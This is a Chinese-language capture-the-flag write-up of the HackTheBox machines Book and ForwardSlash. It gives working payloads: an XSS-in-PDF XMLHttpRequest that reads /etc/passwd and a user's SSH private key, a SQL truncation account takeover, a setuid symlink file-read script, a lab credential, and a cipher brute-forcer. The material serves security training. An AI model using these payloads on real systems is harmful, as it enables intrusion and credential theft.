Hackthebox Book and ForwardSlash

Book

扫端口,只有80和22

80是个。。。图书cms

注册登录进入后台

没注入上传没法绕xss打了没反应

有个admin

注意到一段js

搜一下,发现了这个https://resources.infosecinstitute.com/sql-truncation-attack/

大概是,整个填充

admin@book.htb++++++a

select的时候会认为用户不存在,insert的时候超长了会给后面截断,变成admin@book.htb++++++

然后空格被忽略,从而修改admin密码

于是进了后台

发现有个导出pdf功能,普通用户上传的book会把标题和链接弄进去,注意到之前测xss填的书名<script>alert(1);</script>居然没了,怀疑pdf会解析js

写个document.write试试

那xhr去读一下/etc/passwd

这个东西居然不支持ES6。。。差评

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///etc/passwd");x.send();</script>

是可以读的

读了一圈没啥东西,找私钥吧,发现reader用户私钥可以读出来

<script>x=new XMLHttpRequest;x.onload=function(){document.write(this.responseText)};x.open("GET","file:///home/reader/.ssh/id_rsa");x.send();</script>

找个ocr网站识别一下,登录即可

收集一下信息发现有个log rotate,expdb找一下

https://www.exploit-db.com/exploits/47466

按照说明搞就提权了,略

ForwardSlash

还是只有80和22

80搞了一通啥都没有

测下子域名

有个backup

注册登录,后台有个lfi

然后xjb读一波文件,发现dev/index.php有个凭据

if (@ftp_login($conn_id, "chiv", 'N0bodyL1kesBack/')) {
    error_log("Getting file");
    echo ftp_get_string($conn_id, "debug.txt");
}

用这个账号密码登ssh即可

一通信息收集,发现一个backup目录,一个backup二进制文件

拉回来看看

大概是取时间然后md5一下作为文件名,读取,然后输出

那就是个任意文件读,因为有setuid

整个脚本

#!/bin/bash
target=$1
filename=$(./backup | grep ERROR | awk -F' ' '{print $2}')
echo "filename is $filename"
ln -s $target $filename
./backup

然后成功读一波文件

config.php.bak

user.txt

然后su到pain用户

发现有个encryptor.py和一个加密后的文件

def encrypt(key, msg):
    key = list(key)
    msg = list(msg)
    for char_key in key:
        for i in range(len(msg)):
            if i == 0:
                tmp = ord(msg[i]) + ord(char_key) + ord(msg[-1])
            else:
                tmp = ord(msg[i]) + ord(char_key) + ord(msg[i-1])

            while tmp > 255:
                tmp -= 256
            msg[i] = chr(tmp)
    return ''.join(msg)

def decrypt(key, msg):
    key = list(key)
    msg = list(msg)
    for char_key in reversed(key):
        for i in reversed(range(len(msg))):
            if i == 0:
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[-1]))
            else:
                tmp = ord(msg[i]) - (ord(char_key) + ord(msg[i-1]))
            while tmp < 0:
                tmp += 256
            msg[i] = chr(tmp)
    return ''.join(msg)


print encrypt('REDACTED', 'REDACTED')
print decrypt('REDACTED', encrypt('REDACTED', 'REDACTED'))

这里是个自己写的加密,估计是要爆破key

爆了半天没反应,但是发现奇怪的问题,他这个算法,只要key的首字母一样,长度一样,都能正常解密,如图

问了下密码学聚聚,大概是,解密的时候,后面错误密钥产生的偏移会让密钥第一个字符,也就是解密最后一轮,给减掉,也就是只要第一位正确就能正常解密

所以搓了个解密脚本

import encrypter
import string

with open("ciphertext") as f:
    data = f.read()

for i in range(2,30):
    for j in string.letters:
        password = i*j
        result = encrypter.decrypt(password, data)
        if " is " in result:
            print result

然后成功解密

另外注意到pain用户的sudo可以跑luks

用解密的密码挂载磁盘

如图

拿到私钥,直接用root登录即可